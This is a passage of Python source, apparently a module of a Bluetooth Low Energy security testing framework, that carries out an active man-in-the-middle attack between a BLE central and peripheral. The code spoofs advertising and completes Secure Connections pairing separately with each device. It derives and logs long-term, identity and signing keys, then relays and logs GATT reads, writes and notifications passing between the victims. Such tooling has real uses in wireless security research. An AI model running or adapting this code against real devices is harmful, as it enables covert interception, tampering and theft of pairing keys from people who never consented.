utils.booleanArg(self.args["MASTER_SPOOFING"]): + self.connectOnSlave(packet.type) + elif self.args["ADVERTISING_STRATEGY"] == "flood": + self.connectOnSlave() + + ct2 = False + mitm = False + bonding = False + secureConnections = True + keyPress = False + + authReq = ble.AuthReqFlag( + ct2=ct2, + mitm=mitm, + bonding=bonding, + secureConnections=secureConnections, + keypress=keyPress, + ) + + securityRequest = ble.BLESecurityRequest(authentication=authReq.data[0]) + io.info("{}".format(securityRequest)) + self.a2mEmitter.sendp(securityRequest) + + @module.scenarioSignal("onMasterDisconnect") + def disconnectMaster(self, packet): + io.fail("Master disconnected ! Starting to advertise again...") + utils.wait(0.5) + self.a2mEmitter.setAdvertisingParameters( + data=self.dataAdvInd, + intervalMin=self.intervalMin, + intervalMax=self.intervalMax, + daType=self.addrType, + oaType=self.addrType, + ) + self.a2mEmitter.setScanningParameters(data=self.dataScanRsp) + self.masterPaired = False + self.masterSCCrypto = SCCryptoInstance() + self.setStage(BLEMitmStage.WAIT_CONNECTION) + self.a2mEmitter.setAdvertising(enable=True) + + @module.scenarioSignal("onSlaveDisconnect") + def disconnectSlave(self, packet): + io.fail("Slave disconnected !") + if self.getStage() == BLEMitmStage.ACTIVE_MITM: + self.setStage(BLEMitmStage.STOP) + + # Slave Pairing releated callbacks + @module.scenarioSignal("onSlaveSecurityRequest") + def securityRequest(self, packet): + io.info("{}".format(packet)) + io.info("{}".format(self.pairingRequest)) + self.a2sEmitter.sendp(self.pairingRequest) + + @module.scenarioSignal("onSlavePairingResponse") + def pairingResponse(self, packet): + io.info("{}".format(packet)) + self.slaveLocalAddress = self.a2sEmitter.getAddress() + self.slaveLocalAddressType = ( + 0 if self.a2sEmitter.getAddressMode() == "public" else 1 + ) + + self.slaveRemoteAddress = self.a2sEmitter.getCurrentConnection() + self.slaveRemoteAddressType = ( + 0 if self.a2sEmitter.getCurrentConnectionMode() == "public" else 1 + ) + + self.slaveResponderAuthReq = ble.AuthReqFlag( + data=bytes([packet.authentication]) + ) + self.slaveResponderInputOutputCapability = ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + self.slaveResponderKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.responderKeyDistribution]) + ) + + (nwOrderPubKeyX, nwOrderPubKeyY) = self.slaveSCCrypto.generateDHKeyPair() + self.slaveRemoteIOCap = ( + format(packet.authentication, "02x") + + ("01" if packet.outOfBand else "00") + + format(packet.inputOutputCapability, "02x") + ) + self.slaveRemoteIOCap = unhexlify(self.slaveRemoteIOCap) + response = ble.BLEPublicKey(key_x=nwOrderPubKeyX, key_y=nwOrderPubKeyY) + io.info("{}".format(response)) + self.a2sEmitter.sendp(response) + + @module.scenarioSignal("onSlavePublicKey") + def slavePublicKey(self, packet): + io.info("{}".format(packet)) + self.slaveSCCrypto.generateDHSharedSecret(packet.key_x, packet.key_y) + + @module.scenarioSignal("onSlavePairingConfirm") + def slavePairingConfirm(self, packet): + io.info("{}".format(packet)) + while not self.slaveSCCrypto.isSharedSecretReady(): + utils.wait(0.2) + self.slaveRemoteConfirm = packet.confirm + nwOrderLocalNonce = self.slaveSCCrypto.generateLocalNonce() + self.a2sEmitter.sendp(ble.BLEPairingRandom(random=nwOrderLocalNonce)) + + @module.scenarioSignal("onSlavePairingRandom") + def slavePairingRandom(self, packet): + io.info("{}".format(packet)) + self.slaveRemoteNonce = packet.random + if self.slaveSCCrypto.verifyConfirmValue( + self.slaveRemoteNonce, self.slaveRemoteConfirm + ): + io.info("Slave verify Confirm value success!") + else: + io.fail("Slave verify Confirm value failed!") + self.a2sEmitter.sendp(ble.BLEPairingFailed()) + + io.info("Slave deriving LTK") + self.slaveSCCrypto.deriveLTKInitiator( + self.slaveLocalAddress, + self.slaveRemoteAddress, + self.slaveLocalAddressType, + self.slaveRemoteAddressType, + self.slaveRemoteNonce, + ) + io.info("Slave sending DH Key Check") + nwOrderDHKeyCheck = self.slaveSCCrypto.generateDHKeyCheck( + self.slaveLocalIOCap, + self.slaveLocalAddress, + self.slaveRemoteAddress, + self.slaveLocalAddressType, + self.slaveRemoteAddressType, + self.slaveRemoteNonce, + ) + packet = ble.BLEDHKeyCheck(dhkey_check=nwOrderDHKeyCheck) + self.a2sEmitter.sendp(packet) + + @module.scenarioSignal("onSlaveDHKeyCheck") + def slaveDHKeyCheck(self, packet): + io.info("{}".format(packet)) + while not self.slaveSCCrypto.isLTKReady(): + utils.wait(0.2) + if self.slaveSCCrypto.verifyDHKeyCheck( + self.slaveRemoteIOCap, + self.slaveLocalAddress, + self.slaveRemoteAddress, + self.slaveLocalAddressType, + self.slaveRemoteAddressType, + packet.dhkey_check, + self.slaveRemoteNonce, + ): + io.info("Slave DH Key Check success!") + else: + io.fail("Slave DH Key Check failed!") + self.a2sEmitter.sendp(ble.BLEPairingFailed()) + io.info("Slave Try to encrypt link") + request = ble.BLEStartEncryption( + rand=b"\x00" * 16, ediv=0, ltk=self.slaveSCCrypto.LTK[::-1] + ) + io.info("{}".format(request)) + self.a2sEmitter.sendp(request) + + @module.scenarioSignal("onSlaveEncryptionChange") + def slaveEncryptionChange(self, packet): + io.info("{}".format(packet)) + if packet.status == 0x00 and packet.enabled == 0x01: + io.info(f"Slave Encryption success") + if not self.slaveResponderKeyDistribution.encKey: + self.slavePaired = True + self.checkPairingComplete() + else: + io.fail("Slave Encryption failed...") + + # Master Pairing related callbacks + @module.scenarioSignal("onMasterPairingRequest") + def pairingRequest(self, packet): + self.masterRemoteAddress = self.a2mEmitter.getCurrentConnection() + self.masterRemoteAddressType = ( + 0 if self.a2mEmitter.getCurrentConnectionMode() == "public" else 1 + ) + + self.masterInitiatorKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.initiatorKeyDistribution]) + ) + + io.info("{}".format(packet)) + keyboard = False + yesno = False + display = False + + ct2 = False + mitm = False + bonding = False + secureConnections = True + keyPress = False + + self.masterRemoteIOCap = ( + format(packet.authentication, "02x") + + ("01" if packet.outOfBand else "00") + + format(packet.inputOutputCapability, "02x") + ) + self.masterRemoteIOCap = unhexlify(self.masterRemoteIOCap) + + masterResponderInputOutputCapability = ble.InputOutputCapability( + keyboard=keyboard, display=display, yesno=yesno + ) + masterResponderAuthReq = ble.AuthReqFlag( + ct2=ct2, + mitm=mitm, + bonding=bonding, + secureConnections=secureConnections, + keypress=keyPress, + ) + self.masterResponderKeyDistribution = ble.KeyDistributionFlag( + linkKey=False, encKey=True, idKey=False, signKey=True + ) + oob = b"\x00" + + response = ble.BLEPairingResponse( + authentication=masterResponderAuthReq.data[0], + inputOutputCapability=masterResponderInputOutputCapability.data[0], + initiatorKeyDistribution=self.masterResponderKeyDistribution.data[0], + responderKeyDistribution=self.masterResponderKeyDistribution.data[0], + ) + self.masterLocalIOCap = ( + masterResponderAuthReq.data + + oob + + masterResponderInputOutputCapability.data + ) + io.info("{}".format(response)) + self.a2mEmitter.sendp(response) + + @module.scenarioSignal("onMasterPublicKey") + def masterPublicKey(self, packet): + io.info("{}".format(packet)) + (nwOrderMasterKeyX, nwORderMasterKeyY) = self.masterSCCrypto.generateDHKeyPair() + response = ble.BLEPublicKey(key_x=nwOrderMasterKeyX, key_y=nwORderMasterKeyY) + io.info("{}".format(response)) + self.a2mEmitter.sendp(response) + + self.masterSCCrypto.generateDHSharedSecret(packet.key_x, packet.key_y) + self.masterLocalNonce = self.masterSCCrypto.generateLocalNonce() + nwOrderConfirmValue = self.masterSCCrypto.generateConfirmValue() + response = ble.BLEPairingConfirm(confirm=nwOrderConfirmValue) + io.info("{}".format(response)) + self.a2mEmitter.sendp(response) + + @module.scenarioSignal("onMasterPairingRandom") + def masterPairingRandom(self, packet): + io.info("{}".format(packet)) + self.masterRemoteNonce = packet.random + response = ble.BLEPairingRandom(random=self.masterLocalNonce) + io.info("{}".format(response)) + self.a2mEmitter.sendp(response) + + @module.scenarioSignal("onMasterDHKeyCheck") + def masterDHKeyCheck(self, packet): + io.info("{}".format(packet)) + self.masterSCCrypto.deriveLTKResponder( + self.masterLocalAddress, + self.masterRemoteAddress, + self.masterLocalAddressType, + self.masterRemoteAddressType, + self.masterRemoteNonce, + ) + + if not self.masterSCCrypto.verifyDHKeyCheck( + self.masterRemoteIOCap, + self.masterLocalAddress, + self.masterRemoteAddress, + self.masterLocalAddressType, + self.masterRemoteAddressType, + packet.dhkey_check, + self.masterRemoteNonce, + ): + io.fail("Master DH Key Check failed!") + self.a2mEmitter.sendp(ble.BLEPairingFailed()) + else: + io.info("Master DH Key Check success!") + io.info("Master Sending DH Key Check") + nwOrderDHKeyCheck = self.masterSCCrypto.generateDHKeyCheck( + self.masterLocalIOCap, + self.masterLocalAddress, + self.masterRemoteAddress, + self.masterLocalAddressType, + self.masterRemoteAddressType, + self.masterRemoteNonce, + ) + response = ble.BLEDHKeyCheck(dhkey_check=nwOrderDHKeyCheck) + self.a2mEmitter.sendp(response) + + @module.scenarioSignal("onLongTermKeyRequest") + def longTermKeyRequest(self, packet): + io.info("{}".format(packet)) + if self.masterSCCrypto.isLTKReady(): + response = ble.BLELongTermKeyRequestReply( + positive=True, ltk=self.masterSCCrypto.LTK[::-1] + ) + else: + response = ble.BLELongTermKeyRequestReply(positive=False) + io.info("{}".format(response)) + self.a2mEmitter.sendp(response) + + @module.scenarioSignal("onMasterEncryptionChange") + def masterEncryptionChange(self, packet): + io.info("{}".format(packet)) + if packet.status == 0x00 and packet.enabled == 0x01: + io.info("Master Encryption success") + (self.masterIRK, self.masterCSRK) = self.keyDistribution( + self.masterResponderKeyDistribution, + self.a2mEmitter, + self.masterLocalAddress, + self.masterLocalAddressType, + ) + else: + io.fail("Master Encryption failed...") + + def pairingFailed(self, packet): + io.fail("Pairing Failed received : " + packet.toString()) + if packet.reason == ble.SM_ERR_PASSKEY_ENTRY_FAILED: + io.fail("Reason : Passkey Entry Failed") + elif packet.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + io.fail("Reason : Out of Band not available") + elif packet.reason == ble.SM_ERR_AUTH_REQUIREMENTS: + io.fail("Reason : Authentication requirements") + elif packet.reason == ble.SM_ERR_CONFIRM_VALUE_FAILED: + io.fail("Reason : Confirm Value failed") + elif packet.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + io.fail("Reason : Pairing not supported") + elif packet.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + io.fail("Reason : Out of Band not available") + elif packet.reason == ble.SM_ERR_ENCRYPTION_KEY_SIZE: + io.fail("Reason : Encryption key size") + elif packet.reason == ble.SM_ERR_COMMAND_NOT_SUPPORTED: + io.fail("Reason : Command not supported") + elif packet.reason == ble.SM_ERR_UNSPECIFIED_REASON: + io.fail("Reason : Unspecified reason") + elif packet.reason == ble.SM_ERR_REPEATED_ATTEMPTS: + io.fail("Reason : Repeated Attempts") + elif packet.reason == ble.SM_ERR_INVALID_PARAMETERS: + io.fail("Reason : Invalid Parameters") + elif packet.reason == ble.SM_ERR_DHKEY_CHECK_FAILED: + io.fail("Reason : DHKey Check failed") + elif packet.reason == ble.SM_ERR_NUMERIC_COMPARISON_FAILED: + io.fail("Reason : Numeric Comparison failed") + elif packet.reason == ble.SM_ERR_BREDR_PAIRING_IN_PROGRESS: + io.fail("Reason : BR/EDR Pairing in progress") + elif packet.reason == ble.SM_ERR_CROSS_TRANSPORT_KEY: + io.fail("Reason : Cross-transport Key Derivation/Generation not allowed") + else: + io.fail("Reason : unknown") + + @module.scenarioSignal("onMasterPairingFailed") + def masterPairingFailed(self, packet): + io.info("Pairing Failed (from master) !") + self.pairingFailed(packet) + + @module.scenarioSignal("onSlavePairingFailed") + def slavePairingFailed(self, packet): + io.info("Pairing Failed (from slave) !") + self.pairingFailed(packet) + + def keyDistribution(self, keyDistribution, emitter, localAddress, localAddressType): + localIRK = None + if keyDistribution.idKey: + localIRK = CryptoUtils.generateRandom() + emitter.sendp( + ble.BLEIdentityInformation(irk=CryptoUtils.reverseOrder(localIRK.hex())) + ) + emitter.sendp( + ble.BLEIdentityAddressInformation( + address=localAddress, + type=localAddressType, + ) + ) + io.info("Sent IRK") + localCSRK = None + if keyDistribution.signKey: + localCSRK = CryptoUtils.generateRandom() + emitter.sendp( + ble.BLESigningInformation( + csrk=CryptoUtils.reverseOrder(localCSRK.hex()) + ) + ) + io.info("Sent CSRK") + return (localIRK, localCSRK) + + @module.scenarioSignal("onSlaveIdentityAddressInformation") + def slaveIdentityAddressInformation(self, packet): + io.info("{}".format(packet)) + self.slaveRemoteIdentityAddress = packet.address + if not self.slaveResponderKeyDistribution.signKey: + (self.slaveIRK, self.slaveCSRK) = self.keyDistribution( + self.slaveInitiatorKeyDistribution, + self.a2sEmitter, + self.slaveLocalAddress, + self.slaveLocalAddressType, + ) + io.info("Slave pairing finished") + self.slavePaired = True + self.checkPairingComplete() + + @module.scenarioSignal("onSlaveIdentityInformation") + def slaveIdentityInformation(self, packet): + io.info("Identity Information (from slave) : irk = " + packet.irk.hex()) + self.slaveRemoteIRK = packet.irk + + @module.scenarioSignal("onSlaveSigningInformation") + def slaveSigningInformation(self, packet): + io.info("Signing Information (from slave) : csrk = " + packet.csrk.hex()) + self.slaveRemoteCSRK = packet.csrk + (self.slaveIRK, self.slaveCSRK) = self.keyDistribution( + self.slaveInitiatorKeyDistribution, + self.a2sEmitter, + self.slaveLocalAddress, + self.slaveLocalAddressType, + ) + io.info("Slave pairing finished") + self.slavePaired = True + self.checkPairingComplete() + + @module.scenarioSignal("onMasterIdentityAddressInformation") + def masterIdentityAddressInformation(self, packet): + io.info("{}".format(packet)) + self.masterRemoteIdentityAddress = packet.address + if not self.masterInitiatorKeyDistribution.signKey: + io.info("Master pairing finished") + self.masterPaired = True + self.checkPairingComplete() + + @module.scenarioSignal("onMasterIdentityInformation") + def masterIdentityInformation(self, packet): + io.info("Identity Information (from master) : irk = " + packet.irk.hex()) + self.masterRemoteIRK = packet.irk + + @module.scenarioSignal("onMasterSigningInformation") + def masterSigningInformation(self, packet): + io.info("Signing Information (from master) : csrk = " + packet.csrk.hex()) + self.masterRemoteCSRK = packet.csrk + io.info("Master pairing finished") + self.masterPaired = True + self.checkPairingComplete() + + def forwardToSlave(self, packet): + if self.a2sEmitter.isConnected(): + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp(packet) + + def forwardToMaster(self, packet): + if self.a2mEmitter.isConnected(): + io.info("Redirecting to master ...") + self.a2mEmitter.sendp(packet) + + @module.scenarioSignal("onMasterExchangeMTURequest") + def exchangeMtuRequest(self, packet): + io.info("Exchange MTU Request (from master) : mtu = " + str(packet.mtu)) + self.forwardToSlave(ble.BLEExchangeMTURequest(mtu=packet.mtu)) + + @module.scenarioSignal("onSlaveExchangeMTUResponse") + def exchangeMtuResponse(self, packet): + io.info("Exchange MTU Response (from slave) : mtu = " + str(packet.mtu)) + self.forwardToMaster(ble.BLEExchangeMTUResponse(mtu=packet.mtu)) + + @module.scenarioSignal("onMasterErrorResponse") + def masterErrorResponse(self, packet): + io.info( + "Error Response (from master) : request = " + + hex(packet.request) + + " / handle = " + + hex(packet.handle) + + " / ecode = " + + hex(packet.ecode) + ) + self.forwardToSlave( + ble.BLEErrorResponse( + request=packet.request, handle=packet.handle, ecode=packet.ecode + ) + ) + + @module.scenarioSignal("onMasterWriteCommand") + def writeCommand(self, packet): + io.info( + "Write Command (from master) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + self.forwardToSlave( + ble.BLEWriteCommand(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onMasterWriteRequest") + def writeRequest(self, packet): + io.info( + "Write Request (from master) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + self.forwardToSlave( + ble.BLEWriteRequest(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onSlaveWriteResponse") + def writeResponse(self, packet): + io.info("Write Response (from slave)") + self.forwardToMaster(ble.BLEWriteResponse()) + + @module.scenarioSignal("onMasterReadBlobRequest") + def readBlob(self, packet): + io.info( + "Read Blob Request (from master) : handle = " + + hex(packet.handle) + + " / offset = " + + str(packet.offset) + ) + self.forwardToSlave( + ble.BLEReadBlobRequest(handle=packet.handle, offset=packet.offset) + ) + + @module.scenarioSignal("onSlaveReadBlobResponse") + def readBlobResponse(self, packet): + io.info("Read Blob Response (from slave) : value = " + packet.value.hex()) + self.forwardToMaster(ble.BLEReadBlobResponse(value=packet.value)) + + @module.scenarioSignal("onMasterReadRequest") + def read(self, packet): + io.info("Read Request (from master) : handle = " + hex(packet.handle)) + + self.forwardToSlave(ble.BLEReadRequest(handle=packet.handle)) + + @module.scenarioSignal("onSlaveReadResponse") + def readResponse(self, packet): + io.info("Read Response (from slave) : value = " + packet.value.hex()) + + self.forwardToMaster(ble.BLEReadResponse(value=packet.value)) + + @module.scenarioSignal("onSlaveErrorResponse") + def slaveErrorResponse(self, packet): + io.info( + "Error Response (from slave) : request = " + + hex(packet.request) + + " / handle = " + + hex(packet.handle) + + " / ecode = " + + hex(packet.ecode) + ) + + self.forwardToMaster( + ble.BLEErrorResponse( + request=packet.request, handle=packet.handle, ecode=packet.ecode + ) + ) + + @module.scenarioSignal("onSlaveHandleValueNotification") + def notification(self, packet): + io.info( + "Handle Value Notification (from slave) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + + self.forwardToMaster( + ble.BLEHandleValueNotification(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onSlaveHandleValueIndication") + def indication(self, packet): + io.info( + "Handle Value Indication (from slave) : handle = " + + hex(packet.handle) + + " / value = " + + packet.value.hex() + ) + + self.forwardToMaster( + ble.BLEHandleValueIndication(handle=packet.handle, value=packet.value) + ) + + @module.scenarioSignal("onMasterHandleValueConfirmation") + def confirmation(self, packet): + io.info("Handle Value Confirmation (from master)") + self.forwardToSlave(ble.BLEHandleValueConfirmation()) + + @module.scenarioSignal("onMasterFindInformationRequest") + def findInformation(self, packet): + io.info( + "Find Information Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + ) + self.forwardToSlave( + ble.BLEFindInformationRequest( + startHandle=packet.startHandle, endHandle=packet.endHandle + ) + ) + + @module.scenarioSignal("onSlaveFindInformationResponse") + def findInformationResponse(self, packet): + io.info( + "Find Information Response (from slave) : format = " + + hex(packet.format) + + " / data = " + + packet.data.hex() + ) + + self.forwardToMaster( + ble.BLEFindInformationResponse(format=packet.format, data=packet.data) + ) + + @module.scenarioSignal("onMasterFindByTypeValueRequest") + def findByTypeValueRequest(self, packet): + io.info( + "Find Type By Value Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + + " / data = " + + packet.data.hex() + ) + + self.forwardToSlave( + ble.BLEFindByTypeValueRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + data=packet.data, + ) + ) + + @module.scenarioSignal("onSlaveFindByTypeValueResponse") + def findByTypeValueResponse(self, packet): + io.info("Find Type By Value Response (from slave)") + self.forwardToMaster(ble.BLEFindByTypeValueResponse(handles=packet.handles)) + + @module.scenarioSignal("onMasterReadByTypeRequest") + def masterReadByType(self, packet): + io.info( + "Read By Type Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + + self.forwardToSlave( + ble.BLEReadByTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onSlaveReadByTypeRequest") + def slaveReadByType(self, packet): + io.info( + "Read By Type Request (from slave) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + + self.forwardToMaster( + ble.BLEReadByTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + # TODOD: Why + # self.a2sEmitter.sendp( + # ble.BLEErrorResponse(handle=0x0001,ecode=0x0a,request=0x08) + # ) + + @module.scenarioSignal("onMasterReadByGroupTypeRequest") + def readByGroupType(self, packet): + io.info( + "Read By Group Type Request (from master) : startHandle = " + + hex(packet.startHandle) + + " / endHandle = " + + hex(packet.endHandle) + + " / uuid = " + + hex(packet.uuid) + ) + + self.forwardToSlave( + ble.BLEReadByGroupTypeRequest( + startHandle=packet.startHandle, + endHandle=packet.endHandle, + uuid=packet.uuid, + ) + ) + + @module.scenarioSignal("onSlaveReadByTypeResponse") + def readByTypeResponse(self, packet): + io.info("Read By Type Response (from slave) : data = " + packet.data.hex()) + self.forwardToMaster(ble.BLEReadByTypeResponse(data=packet.data)) + + @module.scenarioSignal("onSlaveReadByGroupTypeResponse") + def readByGroupTypeResponse(self, packet): + io.info( + "Read By Group Type Response (from slave) : length = " + + str(packet.length) + + " / data = " + + packet.data.hex() + ) + self.forwardToMaster( + ble.BLEReadByGroupTypeResponse(length=packet.length, data=packet.data) + ) + + @module.scenarioSignal("onSlaveConnectionParameterUpdateRequest") + def slaveConnectionParameterUpdateRequest(self, packet): + io.info( + "Connection Parameter Update Request (from slave) : slaveLatency = " + + str(packet.slaveLatency) + + " / timeoutMult = " + + str(packet.timeoutMult) + + " / minInterval = " + + str(packet.minInterval) + + " / maxInterval = " + + str(packet.maxInterval) + ) + + self.maxInterval = packet.maxInterval + self.minInterval = packet.minInterval + self.timeoutMult = packet.timeoutMult + self.slaveLatency = packet.slaveLatency + self.minCe = 0 + self.maxCe = 0 + if self.getStage() != BLEMitmStage.ACTIVE_MITM: + io.info("Sending a response to slave ...") + self.a2sEmitter.sendp( + ble.BLEConnectionParameterUpdateResponse( + l2capCmdId=packet.l2capCmdId, moveResult=0 + ) + ) + self.a2sEmitter.updateConnectionParameters( + timeout=packet.timeoutMult, + latency=packet.slaveLatency, + minInterval=packet.minInterval, + maxInterval=packet.maxInterval, + minCe=0, + maxCe=0, + ) + else: + io.info("Redirecting to master ...") + self.a2mEmitter.sendp( + ble.BLEConnectionParameterUpdateRequest( + l2capCmdId=packet.l2capCmdId, + timeoutMult=packet.timeoutMult, + slaveLatency=packet.slaveLatency, + minInterval=packet.minInterval, + maxInterval=packet.maxInterval, + ) + ) + + @module.scenarioSignal("onMasterConnectionParameterUpdateResponse") + def masterConnectionParameterUpdateResponse(self, packet): + io.info( + "Connection Parameter Update Response (from master) : moveResult = " + + str(packet.moveResult) + ) + + io.info("Redirecting to slave ...") + self.a2sEmitter.sendp( + ble.BLEConnectionParameterUpdateResponse( + l2capCmdId=packet.l2capCmdId, moveResult=packet.moveResult + ) + ) + if packet.moveResult == 0 and self.a2sEmitter.isConnected(): + io.info( + "Updating Connection Parameter: slaveLatency = " + + str(self.slaveLatency) + + " / timeoutMult = " + + str(self.timeoutMult) + + " / minInterval = " + + str(self.minInterval) + + " / maxInterval = " + + str(self.maxInterval) + ) + self.a2sEmitter.updateConnectionParameters( + timeout=self.timeoutMult, + latency=self.slaveLatency, + minInterval=self.minInterval, + maxInterval=self.maxInterval, + ) + + # Link Layer Callbacks + + @module.scenarioSignal("onSlaveLLConnUpdateInd") + def slaveLLConnUpdateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnUpdateInd") + def masterLLConnUpdateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLChannelMapInd") + def slaveLLChannelMapInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLChannelMapInd") + def masterLLChannelMapInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLTerminateInd") + def slaveLLTerminateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLTerminateInd") + def masterLLTerminateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLEncReq") + def masterLLEncReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLEncReq") + def slaveLLEncReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLEncRsp") + def masterLLEncRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLEncRsp") + def slaveLLEncRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLStartEncReq") + def masterLLStartEncReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLStartEncReq") + def slaveLLStartEncReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLStartEncRsp") + def masterLLStartEncRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLStartEncRsp") + def slaveLLStartEncRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLUnknownRsp") + def slaveLLUnknownRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLUnknownRsp") + def masterLLUnknownRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLFeatureReq") + def slaveLLFeatureReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLFeatureReq") + def masterLLFeatureReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLFeatureRsp") + def slaveLLFeatureRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLFeatureRsp") + def masterLLFeatureRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPauseEncReq") + def masterLLPauseEncReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPauseEncReq") + def slaveLLPauseEncReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPauseEncRsp") + def masterLLPauseEncRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPauseEncRsp") + def slaveLLPauseEncRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLVersionInd") + def slaveLLVersionInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLVersionInd") + def masterLLVersionInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLRejectInd") + def slaveLLRejectInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLRejectInd") + def masterLLRejectInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onMasterLLSlaveFeatureReq") + def masterLLSlaveFeatureReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLSlaveFeatureReq") + def slaveLLSlaveFeatureReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLConnParamReq") + def slaveLLConnParamReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnParamReq") + def masterLLConnParamReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLConnParamRsp") + def slaveLLConnParamRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLConnParamRsp") + def masterLLConnParamRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLRejectExtInd") + def slaveLLRejectExtInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLRejectExtInd") + def masterLLRejectExtInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPingReq") + def slaveLLPingReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPingReq") + def masterLLPingReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPingRsp") + def slaveLLPingRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPingRsp") + def masterLLPingRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLLengthReq") + def slaveLLLengthReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLLengthReq") + def masterLLLengthReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLLengthRsp") + def slaveLLLengthRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLLengthRsp") + def masterLLLengthRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyReq") + def slaveLLPhyReq(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyReq") + def masterLLPhyReq(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyRsp") + def slaveLLPhyRsp(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyRsp") + def masterLLPhyRsp(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLPhyUpdateInd") + def slaveLLPhyUpdateInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLPhyUpdateInd") + def masterLLPhyUpdateInd(self, packet): + io.info("Master: " + packet.toString()) + + @module.scenarioSignal("onSlaveLLMinUsedChannelsInd") + def slaveLLMinUsedChannelsInd(self, packet): + io.info("Slave: " + packet.toString()) + + @module.scenarioSignal("onMasterLLMinUsedChannelsInd") + def masterLLMinUsedChannelsInd(self, packet): + io.info("Master: " + packet.toString()) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # 